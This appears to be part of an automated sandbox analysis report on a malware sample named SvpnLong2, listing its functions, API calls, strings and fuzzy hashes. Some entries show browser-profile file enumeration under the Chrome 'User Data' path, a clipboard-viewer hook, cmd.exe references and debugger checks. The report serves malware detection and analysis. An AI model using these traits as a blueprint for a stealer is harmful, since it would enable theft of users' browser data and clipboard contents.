_errno.LIBCMT ref: 02154065
_errno.LIBCMT ref: 0215406F
free.LIBCMT ref: 02154095

Strings

cmd.exe, xrefs: 02154076
COMSPEC, xrefs: 02153FB9

Memory Dump Source

Source File: 00000000.00000002.3528995286.0000000002140000.00000040.00001000.00020000.00000000.sdmp, Offset: 02140000, based on PE: true

Associated: 00000000.00000002.3528995286.0000000002168000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3528995286.0000000002421000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2140000_SvpnLong2.jbxd

Similarity

API ID: _errno$CurrentProcess_invalid_parameter_noinfo_lockfree
String ID: COMSPEC$cmd.exe
API String ID: 3119157571-2256226045
Opcode ID: 70e500e4932d79dd561504cb2507e6bd4fbe024543631db059dd84dad546bfc4
Instruction ID: e8fe5e7853bb1dcddf72fef8fac6c2cede94c62d4e71a73dc0dababbfd75601c
Opcode Fuzzy Hash: 70e500e4932d79dd561504cb2507e6bd4fbe024543631db059dd84dad546bfc4
Instruction Fuzzy Hash: 5C21E436780B60CDEB14DFB5A84129D77A6FF88388B9540A1DE7987E08DF34C094CB91

Function 01E632BC Relevance: 15.4, APIs: 10, Instructions: 379COMMONLIBRARYCODE

Download Yara Rule

APIs

_errno.LIBCMT ref: 01E632DE
_invalid_parameter_noinfo.LIBCMT ref: 01E632EA
_errno.LIBCMT ref: 01E63314
__tzset.LIBCMT ref: 01E63331
_get_daylight.LIBCMT ref: 01E6333A
_get_daylight.LIBCMT ref: 01E6334B
_get_daylight.LIBCMT ref: 01E6335C
_isindst.LIBCMT ref: 01E633A0
_isindst.LIBCMT ref: 01E633F0
__getgmtimebuf.LIBCMT ref: 01E635EA

Memory Dump Source

Source File: 00000000.00000002.3528725360.0000000001E50000.00000040.00001000.00020000.00000000.sdmp, Offset: 01E50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1e50000_SvpnLong2.jbxd

Similarity

API ID: _get_daylight$_errno_isindst$__getgmtimebuf__tzset_invalid_parameter_noinfo
String ID:
API String ID: 1457502553-0
Opcode ID: 80b182fec399e25035d94539b3a052fa9ca79bb0d7bb025d9f5049a9a06a933b
Instruction ID: f2aeff5609ec2476aad5ba9f7a0c94976cec8ac49eccc766b719646b8c531292
Opcode Fuzzy Hash: 80b182fec399e25035d94539b3a052fa9ca79bb0d7bb025d9f5049a9a06a933b
Instruction Fuzzy Hash: E2A1D931750A4A4BDB5CEF3CC8592B977D9FB68349B84917FE80ACB69AEE34C4418740

Function 02153904 Relevance: 15.3, APIs: 10, Instructions: 255COMMONLIBRARYCODE

Download Yara Rule

APIs

_errno.LIBCMT ref: 02153926
_invalid_parameter_noinfo.LIBCMT ref: 02153932
_errno.LIBCMT ref: 0215395C
__tzset.LIBCMT ref: 02153979
_get_daylight.LIBCMT ref: 02153982
_get_daylight.LIBCMT ref: 02153993
_get_daylight.LIBCMT ref: 021539A4
_isindst.LIBCMT ref: 021539E8
_isindst.LIBCMT ref: 02153A38
__getgmtimebuf.LIBCMT ref: 02153C32

Memory Dump Source

Source File: 00000000.00000002.3528995286.0000000002140000.00000040.00001000.00020000.00000000.sdmp, Offset: 02140000, based on PE: true

Associated: 00000000.00000002.3528995286.0000000002168000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3528995286.0000000002421000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2140000_SvpnLong2.jbxd

Similarity

API ID: _get_daylight$_errno_isindst$__getgmtimebuf__tzset_invalid_parameter_noinfo
String ID:
API String ID: 1457502553-0
Opcode ID: 272c2594e5c80fedb97708bf7dceb37fdc9c65d90fbe440f5269eeb1383fd128
Instruction ID: b5c8f21b42146df050435388a6b8273d779e3c8dd1302d22ed3dc5df1fc4b975
Opcode Fuzzy Hash: 272c2594e5c80fedb97708bf7dceb37fdc9c65d90fbe440f5269eeb1383fd128
Instruction Fuzzy Hash: 9681E3B37407A5CBDF289F75C85576977A6E7447C8F0490A6DE2A8BB48EB38C0418B40

Function 0214EF20 Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 127fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32 ref: 0214EFF0

Part of subcall function 0215FA68: std::exception::exception.LIBCMT ref: 0215FA7B
Part of subcall function 0215FA68: std::exception::exception.LIBCMT ref: 0215FAA9

Strings

\AppData\Local\Google\Chrome\User Data\Default, xrefs: 0214EF23
*.*, xrefs: 0214EFC9
invalid string position, xrefs: 0214EF9A

Memory Dump Source

Source File: 00000000.00000002.3528995286.0000000002140000.00000040.00001000.00020000.00000000.sdmp, Offset: 02140000, based on PE: true

Associated: 00000000.00000002.3528995286.0000000002168000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3528995286.0000000002421000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2140000_SvpnLong2.jbxd

Similarity

API ID: std::exception::exception$FileFindFirst
String ID: *.*$\AppData\Local\Google\Chrome\User Data\Default$invalid string position
API String ID: 3164152327-3505193513
Opcode ID: 11291dc964f715c0a50e4c86eacae569ae549c029c3b0332eb294b444f8f8994
Instruction ID: 388a9a420da2b7bbb2098ffcfbe34c96fe05b336018af0bf63ef15ca0122dd75
Opcode Fuzzy Hash: 11291dc964f715c0a50e4c86eacae569ae549c029c3b0332eb294b444f8f8994
Instruction Fuzzy Hash: 1E519332244A45C9DB24DB24E89839E6772F7D57A8F401226DE6E47BB8DF38C54ACB00

Function 02162ADC Relevance: 12.5, APIs: 6, Strings: 1, Instructions: 288COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 02153334: _getptd.LIBCMT ref: 02153346

_errno.LIBCMT ref: 02162B2C
_invalid_parameter_noinfo.LIBCMT ref: 02162B36
_errno.LIBCMT ref: 02162B58
_invalid_parameter_noinfo.LIBCMT ref: 02162B64
_errno.LIBCMT ref: 02162B8C
_cftoe_l.LIBCMT ref: 02162BD0

Strings

gfffffff, xrefs: 02162E5B

Memory Dump Source

Source File: 00000000.00000002.3528995286.0000000002140000.00000040.00001000.00020000.00000000.sdmp, Offset: 02140000, based on PE: true

Associated: 00000000.00000002.3528995286.0000000002168000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3528995286.0000000002421000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2140000_SvpnLong2.jbxd

Similarity

API ID: _errno$_invalid_parameter_noinfo$_cftoe_l_getptd
String ID: gfffffff
API String ID: 1282097019-1523873471
Opcode ID: fa0a99ad7b7f2400bb0c28faa6c0015f3dcf09ae682282b5e9e5d8ac46116d98
Instruction ID: 5ec56925ec2e49a25be9c905b9488d5565dd8efb6d2fab997d1b0e9b6f6c24f8
Opcode Fuzzy Hash: fa0a99ad7b7f2400bb0c28faa6c0015f3dcf09ae682282b5e9e5d8ac46116d98
Instruction Fuzzy Hash: 07A141637857C98BEB158B39C6483BD6BA6E7117E8F04C622CF6A07795EB398025C301

Function 01E681C0 Relevance: 12.3, APIs: 8, Instructions: 289COMMON

Download Yara Rule

APIs

_errno.LIBCMT ref: 01E681F4
_invalid_parameter_noinfo.LIBCMT ref: 01E681FF
wcomexecmd.LIBCMT ref: 01E68337

Memory Dump Source

Source File: 00000000.00000002.3528725360.0000000001E50000.00000040.00001000.00020000.00000000.sdmp, Offset: 01E50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1e50000_SvpnLong2.jbxd

Similarity

API ID: _errno_invalid_parameter_noinfowcomexecmd
String ID:
API String ID: 1728837525-0
Opcode ID: 1ecebbeb37ace30139545a725b505b88b7ff7d913080444dcc587744223f7780
Instruction ID: e582f09b4da9a4d66364ffb9d215c7c61d6155940d0711262a159b8be2444890
Opcode Fuzzy Hash: 1ecebbeb37ace30139545a725b505b88b7ff7d913080444dcc587744223f7780
Instruction Fuzzy Hash: 1D61FC30798F4E4F9769FB7D581567E72CEFBA82C4BC1663DC95AC3251EE20D8014286

Function 02158808 Relevance: 12.2, APIs: 8, Instructions: 191COMMON

Download Yara Rule

APIs

_errno.LIBCMT ref: 0215883C
_errno.LIBCMT ref: 021589D4
_errno.LIBCMT ref: 02158A20
wcomexecmd.LIBCMT ref: 02158A3D
free.LIBCMT ref: 02158A48
_invalid_parameter_noinfo.LIBCMT ref: 02158847

Part of subcall function 02155664: GetCurrentProcess.KERNEL32(?,?,?,?,02155706), ref: 0215567C

wcomexecmd.LIBCMT ref: 0215897F
free.LIBCMT ref: 02158A59

Memory Dump Source

Source File: 00000000.00000002.3528995286.0000000002140000.00000040.00001000.00020000.00000000.sdmp, Offset: 02140000, based on PE: true

Associated: 00000000.00000002.3528995286.0000000002168000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3528995286.0000000002421000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2140000_SvpnLong2.jbxd

Similarity

API ID: _errno$freewcomexecmd$CurrentProcess_invalid_parameter_noinfo
String ID:
API String ID: 1058736139-0
Opcode ID: 4df2f126d4db7e5acc1a539029345e9ccebf360a3dc86f4100520a20d305af61
Instruction ID: 7f771eb4e24d1f46908838ec9a0c98ade064384c81792167a67a27fdf24abd04
Opcode Fuzzy Hash: 4df2f126d4db7e5acc1a539029345e9ccebf360a3dc86f4100520a20d305af61
Instruction Fuzzy Hash: 305119217842B0C9EE28EF26651472E7293ABC5BD4F4985B59E7947B54DF3CC082CB01

Function 00007FF7FC7B15D0 Relevance: 12.1, APIs: 8, Instructions: 67COMMONLIBRARYCODE

Download Yara Rule

APIs

RtlCaptureContext.KERNEL32 ref: 00007FF7FC7B6CA3
RtlLookupFunctionEntry.KERNEL32 ref: 00007FF7FC7B6CC2
RtlVirtualUnwind.KERNEL32 ref: 00007FF7FC7B6D0E
IsDebuggerPresent.KERNEL32 ref: 00007FF7FC7B6D80
SetUnhandledExceptionFilter.KERNEL32 ref: 00007FF7FC7B6D98
UnhandledExceptionFilter.KERNEL32 ref: 00007FF7FC7B6DA5
GetCurrentProcess.KERNEL32 ref: 00007FF7FC7B6DBE
TerminateProcess.KERNEL32 ref: 00007FF7FC7B6DCC

Memory Dump Source

Source File: 00000000.00000002.3529793352.00007FF7FC7A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7FC7A0000, based on PE: true

Associated: 00000000.00000002.3529778120.00007FF7FC7A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3529793352.00007FF7FC810000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3529850011.00007FF7FC818000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3529850011.00007FF7FC82B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3529888388.00007FF7FC833000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3529905202.00007FF7FC838000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3529921267.00007FF7FC83D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3529939218.00007FF7FC83E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3529939218.00007FF7FC84B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3529939218.00007FF7FD24B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3529939218.00007FF7FDC4B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7fc7a0000_SvpnLong2.jbxd

Similarity

API ID: ExceptionFilterProcessUnhandled$CaptureContextCurrentDebuggerEntryFunctionLookupPresentTerminateUnwindVirtual
String ID:
API String ID: 3778485334-0
Opcode ID: 8111887c4a2bec764845ecab21004eb112cf7aa571a2e0200276d83b7b7fe8e5
Instruction ID: ff26c6e6179bf09f2e8c651b13d328b4741d88ef0dfe67051cfab8a5688ef881
Opcode Fuzzy Hash: 8111887c4a2bec764845ecab21004eb112cf7aa571a2e0200276d83b7b7fe8e5
Instruction Fuzzy Hash: 43314E3592CB4285EB14AB54F84036AF7A4FB88354F901036D6AE437E5DF7CE264D7A0

Function 02152C00 Relevance: 12.1, APIs: 8, Instructions: 67COMMONLIBRARYCODE

Download Yara Rule

APIs

RtlCaptureContext.KERNEL32(0214AC7C), ref: 02154567
RtlLookupFunctionEntry.KERNEL32 ref: 02154586
RtlVirtualUnwind.KERNEL32 ref: 021545D2
IsDebuggerPresent.KERNEL32 ref: 02154644
SetUnhandledExceptionFilter.KERNEL32 ref: 0215465C
UnhandledExceptionFilter.KERNEL32 ref: 02154669
GetCurrentProcess.KERNEL32 ref: 02154682
TerminateProcess.KERNEL32 ref: 02154690

Memory Dump Source

Source File: 00000000.00000002.3528995286.0000000002140000.00000040.00001000.00020000.00000000.sdmp, Offset: 02140000, based on PE: true

Associated: 00000000.00000002.3528995286.0000000002168000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3528995286.0000000002421000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2140000_SvpnLong2.jbxd

Similarity

API ID: ExceptionFilterProcessUnhandled$CaptureContextCurrentDebuggerEntryFunctionLookupPresentTerminateUnwindVirtual
String ID:
API String ID: 3778485334-0
Opcode ID: eef56456e6e2c180c42c0eb83d1c6856b7bb6072fe3c42e24124d62122c709d5
Instruction ID: d66b12481e96bd4de252eff0b9f69602c272d0b53cfdef1262123c23dd6a2603
Opcode Fuzzy Hash: eef56456e6e2c180c42c0eb83d1c6856b7bb6072fe3c42e24124d62122c709d5
Instruction Fuzzy Hash: 7F311379208B84C9EB149F55F89839AB3A0F788794F51002ADE8E47B64DF7CC0A8CB01

Function 02154565 Relevance: 12.1, APIs: 8, Instructions: 52COMMON

Download Yara Rule

APIs

RtlCaptureContext.KERNEL32(0214AC7C), ref: 02154567
RtlLookupFunctionEntry.KERNEL32 ref: 02154586
RtlVirtualUnwind.KERNEL32 ref: 021545D2
IsDebuggerPresent.KERNEL32 ref: 02154644
SetUnhandledExceptionFilter.KERNEL32 ref: 0215465C
UnhandledExceptionFilter.KERNEL32 ref: 02154669
GetCurrentProcess.KERNEL32 ref: 02154682
TerminateProcess.KERNEL32 ref: 02154690

Memory Dump Source

Source File: 00000000.00000002.3528995286.0000000002140000.00000040.00001000.00020000.00000000.sdmp, Offset: 02140000, based on PE: true

Associated: 00000000.00000002.3528995286.0000000002168000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3528995286.0000000002421000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2140000_SvpnLong2.jbxd

Similarity

API ID: ExceptionFilterProcessUnhandled$CaptureContextCurrentDebuggerEntryFunctionLookupPresentTerminateUnwindVirtual
String ID:
API String ID: 3778485334-0
Opcode ID: 229bee8a269af50cfbc25a9597bab389d63bbbe58a3b0a20ee4da0e24b214f5c
Instruction ID: d651ce52e223bae680c6b6eb997dc87358b6238115aa5277c27bafb2bc58304c
Opcode Fuzzy Hash: 229bee8a269af50cfbc25a9597bab389d63bbbe58a3b0a20ee4da0e24b214f5c
Instruction Fuzzy Hash: E8212879205B84CAE7049F51F85C39AB7A1F788794F41012ADE8D47764DF7CC098CB01

Function 01E66E70 Relevance: 10.9, APIs: 7, Instructions: 423COMMONLIBRARYCODE

Download Yara Rule

APIs

_lock.LIBCMT ref: 01E66E9B
_get_daylight.LIBCMT ref: 01E66EB1

Part of subcall function 01E67C0C: _errno.LIBCMT ref: 01E67C15
Part of subcall function 01E67C0C: _invalid_parameter_noinfo.LIBCMT ref: 01E67C20

_get_daylight.LIBCMT ref: 01E66EC6

Part of subcall function 01E67BAC: _errno.LIBCMT ref: 01E67BB5
Part of subcall function 01E67BAC: _invalid_parameter_noinfo.LIBCMT ref: 01E67BC0

_get_daylight.LIBCMT ref: 01E66EDB

Part of subcall function 01E67BDC: _errno.LIBCMT ref: 01E67BE5
Part of subcall function 01E67BDC: _invalid_parameter_noinfo.LIBCMT ref: 01E67BF0

___lc_codepage_func.LIBCMT ref: 01E66EE8

Part of subcall function 01E6C3A8: _getptd.LIBCMT ref: 01E6C3AC

Part of subcall function 01E684C8: __wtomb_environ.LIBCMT ref: 01E684F8

free.LIBCMT ref: 01E66F59

Part of subcall function 01E636E0: _errno.LIBCMT ref: 01E63700

free.LIBCMT ref: 01E66FC2

Memory Dump Source

Source File: 00000000.00000002.3528725360.0000000001E50000.00000040.00001000.00020000.00000000.sdmp, Offset: 01E50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1e50000_SvpnLong2.jbxd

Similarity

API ID: _errno$_get_daylight_invalid_parameter_noinfo$free$___lc_codepage_func__wtomb_environ_getptd_lock
String ID:
API String ID: 4268574505-0
Opcode ID: c1fa7f40eb7c03d34230419b027a93e70f574f0f58e1d6dfd72d0dfeb88afd4a
Instruction ID: 759e65c76d9357b75de68a66987100e56551d5c033d7aad6960446c8101676c7
Opcode Fuzzy Hash: c1fa7f40eb7c03d34230419b027a93e70f574f0f58e1d6dfd72d0dfeb88afd4a
Instruction Fuzzy Hash: AFC10930AAC7858FD329DF28984566EB7DAFB99748F84652ED5CBC3251DF3094028782

Function 02159FFC Relevance: 10.6, APIs: 7, Instructions: 142COMMON

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 0215A060

Part of subcall function 0215537C: Sleep.KERNEL32(?,?,00000000,02153110), ref: 021553C1

free.LIBCMT ref: 0215A0DE
free.LIBCMT ref: 0215A125
GetLocaleInfoW.KERNEL32 ref: 0215A15C
GetLocaleInfoW.KERNEL32 ref: 0215A186
free.LIBCMT ref: 0215A193
GetLocaleInfoW.KERNEL32 ref: 0215A1BE

Memory Dump Source

Source File: 00000000.00000002.3528995286.0000000002140000.00000040.00001000.00020000.00000000.sdmp, Offset: 02140000, based on PE: true

Associated: 00000000.00000002.3528995286.0000000002168000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3528995286.0000000002421000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2140000_SvpnLong2.jbxd

Similarity

API ID: InfoLocalefree$ErrorLastSleep
String ID:
API String ID: 3746651342-0
Opcode ID: 7d64ea1f505b0bb52769325ade5a3065c079a391e066f49547148fca7f58a5df
Instruction ID: de48ffd80b929f08c2dcc64d8c3a20251f0b3b24a6e05be3cc6bbd6e39e6387d
Opcode Fuzzy Hash: 7d64ea1f505b0bb52769325ade5a3065c079a391e066f49547148fca7f58a5df
Instruction Fuzzy Hash: 2A4148227A47A4CBE7259B26A95472F37D6BF88BC8F4082A5DE2947B04EF7DC005C700

Function 02155518 Relevance: 9.1, APIs: 6, Instructions: 80COMMONLIBRARYCODE

Download Yara Rule

APIs

RtlCaptureContext.KERNEL32 ref: 02155585
RtlLookupFunctionEntry.KERNEL32 ref: 0215559D
RtlVirtualUnwind.KERNEL32 ref: 021555D7
IsDebuggerPresent.KERNEL32 ref: 0215560D
SetUnhandledExceptionFilter.KERNEL32 ref: 02155617
UnhandledExceptionFilter.KERNEL32 ref: 02155622

Memory Dump Source

Source File: 00000000.00000002.3528995286.0000000002140000.00000040.00001000.00020000.00000000.sdmp, Offset: 02140000, based on PE: true

Associated: 00000000.00000002.3528995286.0000000002168000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3528995286.0000000002421000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2140000_SvpnLong2.jbxd

Similarity

API ID: ExceptionFilterUnhandled$CaptureContextDebuggerEntryFunctionLookupPresentUnwindVirtual
String ID:
API String ID: 1239891234-0
Opcode ID: d47baece3fd4c09f50df7032b07debdc36c173da0d13c1922d78891af36198a9
Instruction ID: d5e39e5977fe54056df31739900cf3abe0f9b296c27ae3c85e87d47175f67636
Opcode Fuzzy Hash: d47baece3fd4c09f50df7032b07debdc36c173da0d13c1922d78891af36198a9
Instruction Fuzzy Hash: 1E318D72254F80DADB20CF25E8543AE73A5FB98798F95012AEEAD43B58DF38C145CB40

Function 00007FF7FC7B3EF0 Relevance: 9.1, APIs: 6, Instructions: 79COMMONLIBRARYCODE

Download Yara Rule

APIs

RtlCaptureContext.KERNEL32 ref: 00007FF7FC7B3F7B
RtlLookupFunctionEntry.KERNEL32 ref: 00007FF7FC7B3FA4
RtlVirtualUnwind.KERNEL32 ref: 00007FF7FC7B3FFD
IsDebuggerPresent.KERNEL32 ref: 00007FF7FC7B4050
SetUnhandledExceptionFilter.KERNEL32 ref: 00007FF7FC7B405C
UnhandledExceptionFilter.KERNEL32 ref: 00007FF7FC7B4067

Memory Dump Source

Source File: 00000000.00000002.3529793352.00007FF7FC7A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7FC7A0000, based on PE: true

Associated: 00000000.00000002.3529778120.00007FF7FC7A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3529793352.00007FF7FC810000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3529850011.00007FF7FC818000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3529850011.00007FF7FC82B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3529888388.00007FF7FC833000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3529905202.00007FF7FC838000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3529921267.00007FF7FC83D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3529939218.00007FF7FC83E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3529939218.00007FF7FC84B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3529939218.00007FF7FD24B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3529939218.00007FF7FDC4B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7fc7a0000_SvpnLong2.jbxd

Similarity

API ID: ExceptionFilterUnhandled$CaptureContextDebuggerEntryFunctionLookupPresentUnwindVirtual
String ID:
API String ID: 1239891234-0
Opcode ID: ede2eb50e848da74378a58bd18abe1617dc34fc6556273d1c56e445863331863
Instruction ID: 42a64c6a85c7be9471b646c559204fe6f73375c31b2f27d0b083f57ef8bf3c3d
Opcode Fuzzy Hash: ede2eb50e848da74378a58bd18abe1617dc34fc6556273d1c56e445863331863
Instruction Fuzzy Hash: 7541C032518BC48AE770DB18F8443ABB3A5F788355F801126D69D43AA8EF3DD165CF50

Function 02144380 Relevance: 9.1, APIs: 6, Instructions: 53windowclipboardCOMMON

Download Yara Rule

APIs

SendMessageA.USER32 ref: 021443CD
SendMessageA.USER32 ref: 021443E1
DestroyWindow.USER32 ref: 021443EF
PostQuitMessage.USER32 ref: 021443F7
ChangeClipboardChain.USER32 ref: 0214440C
SetClipboardViewer.USER32 ref: 0214441A

Memory Dump Source

Source File: 00000000.00000002.3528995286.0000000002140000.00000040.00001000.00020000.00000000.sdmp, Offset: 02140000, based on PE: true

Associated: 00000000.00000002.3528995286.0000000002168000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3528995286.0000000002421000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2140000_SvpnLong2.jbxd

Similarity

API ID: Message$ClipboardSend$ChainChangeDestroyPostQuitViewerWindow
String ID:
API String ID: 267668081-0
Opcode ID: 082f6aee9610bfdf75166013c68e509d110115bbd60ee7658a241065df36a9e0
Instruction ID: 73d04f29fb46827e7ac4ae69c0aa09374fd7820546427bd7b80f30bc3b4d5499
Opcode Fuzzy Hash: 082f6aee9610bfdf75166013c68e509d110115bbd60ee7658a241065df36a9e0
Instruction Fuzzy Hash: FB01A771791902C3FB240BB5BC4D36E22D0EB5CB6AF8A1520C91D8AE60DF6CC5EB8610

Function 0215CDF8 Relevance: 7.7, APIs: 5, Instructions: 165COMMON

Download Yara Rule

APIs

_getptd.LIBCMT ref: 0215CE1F

Part of subcall function 02154958: _amsg_exit.LIBCMT ref: 0215496E

GetLocaleInfoA.KERNEL32 ref: 0215CE54
GetLocaleInfoA.KERNEL32 ref: 0215CEAC
GetLocaleInfoA.KERNEL32 ref: 0215CFA0

Memory Dump Source

Source File: 00000000.00000002.3528995286.0000000002140000.00000040.00001000.00020000.00000000.sdmp, Offset: 02140000, based on PE: true

Associated: 00000000.00000002.3528995286.0000000002168000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3528995286.0000000002421000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2140000_SvpnLong2.jbxd

Similarity

API ID: InfoLocale$_amsg_exit_getptd
String ID:
API String ID: 3133215516-0
Opcode ID: cd837cf249ffd820c4f74947585e6c0d2355e65f6235dd3ced10b8ca1f0d3b9f
Instruction ID: ad5d0c058dd7aadcf77c0197293958f246625204b1b7b2d0cf3318f69eae3ebd
Opcode Fuzzy Hash: cd837cf249ffd820c4f74947585e6c0d2355e65f6235dd3ced10b8ca1f0d3b9f
Instruction Fuzzy Hash: 79617C32750A95DBDB2D8F71EA487DEB3A1F788745F40416ACB398B244DB38E465CB40

Function 0215E600 Relevance: 7.6, APIs: 5, Instructions: 101COMMON

Download Yara Rule

APIs

GetLocaleInfoW.KERNEL32 ref: 0215E64B
GetLocaleInfoW.KERNEL32 ref: 0215E6DC
WideCharToMultiByte.KERNEL32 ref: 0215E717
free.LIBCMT ref: 0215E72B

Memory Dump Source

Source File: 00000000.00000002.3528995286.0000000002140000.00000040.00001000.00020000.00000000.sdmp, Offset: 02140000, based on PE: true

Associated: 00000000.00000002.3528995286.0000000002168000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3528995286.0000000002421000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2140000_SvpnLong2.jbxd

Similarity

API ID: InfoLocale$ByteCharMultiWidefree
String ID:
API String ID: 40707599-0
Opcode ID: 90edfa8a17d3c1a95011feb5ac7ae8af9be21e5ccedbc6494c5874902a984900
Instruction ID: 2b21e42e8317f421fb624de04f6d22c25294e660aa9ac3411ee6bd17f5306e23
Opcode Fuzzy Hash: 90edfa8a17d3c1a95011feb5ac7ae8af9be21e5ccedbc6494c5874902a984900
Instruction Fuzzy Hash: 0A318132B41BA0CAEB148F25D84079977E6F748BE8F594666EF7D47B94DB38C6018700

Function 02156CAC Relevance: 6.2, APIs: 4, Instructions: 230COMMON

Download Yara Rule

APIs

_getptd.LIBCMT ref: 02156CE5

Part of subcall function 02154958: _amsg_exit.LIBCMT ref: 0215496E

Part of subcall function 02156A70: _getptd.LIBCMT ref: 02156AAA

Part of subcall function 021552FC: malloc.LIBCMT ref: 02155327
Part of subcall function 021552FC: Sleep.KERNEL32(?,?,00000000,02159B11,?,?,00000000,02159BBB,?,?,?,?,?,?,00000000,0215492C), ref: 0215533A

free.LIBCMT ref: 02156F42
free.LIBCMT ref: 02156F79
free.LIBCMT ref: 02156F86

Part of subcall function 02155664: GetCurrentProcess.KERNEL32(?,?,?,?,02155706), ref: 0215567C

Memory Dump Source

Source File: 00000000.00000002.3528995286.0000000002140000.00000040.00001000.00020000.00000000.sdmp, Offset: 02140000, based on PE: true

Associated: 00000000.00000002.3528995286.0000000002168000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3528995286.0000000002421000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2140000_SvpnLong2.jbxd

Similarity

API ID: free$_getptd$CurrentProcessSleep_amsg_exitmalloc
String ID:
API String ID: 2889500207-0
Opcode ID: 3bab8be2e187a51b71eab5e28680ac73d77c70045c28a5d02a2d1a2fa4aaf329
Instruction ID: 7db087fc5a393e38425911daac97ae768a882142eb9640e18d6adb950053a5f7
Opcode Fuzzy Hash: 3bab8be2e187a51b71eab5e28680ac73d77c70045c28a5d02a2d1a2fa4aaf329
Instruction Fuzzy Hash: 3791EE732056D4DACB24DF26E58479AB7A4F788788F904126EFAD47B14EF39D045CB40

Function 01E5FB38 Relevance: 5.9, APIs: 4, Instructions: 892COMMON

Download Yara Rule

APIs

memchr.LIBCMT ref: 01E5FD0C
memchr.LIBCMT ref: 01E5FD35
rand.LIBCMT ref: 01E5FE9A
rand.LIBCMT ref: 01E60189

Memory Dump Source

Source File: 00000000.00000002.3528725360.0000000001E50000.00000040.00001000.00020000.00000000.sdmp, Offset: 01E50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1e50000_SvpnLong2.jbxd

Similarity

API ID: memchrrand
String ID:
API String ID: 2128663743-0
Opcode ID: 85b5146565668c93977723c73af3083d92f2e203ccba0ef059a5ca506d57ecae
Instruction ID: 033d7f086a74d1a9463a0e8d00140bf73573a7f4e5728f47256a967fa913a7e4
Opcode Fuzzy Hash: 85b5146565668c93977723c73af3083d92f2e203ccba0ef059a5ca506d57ecae
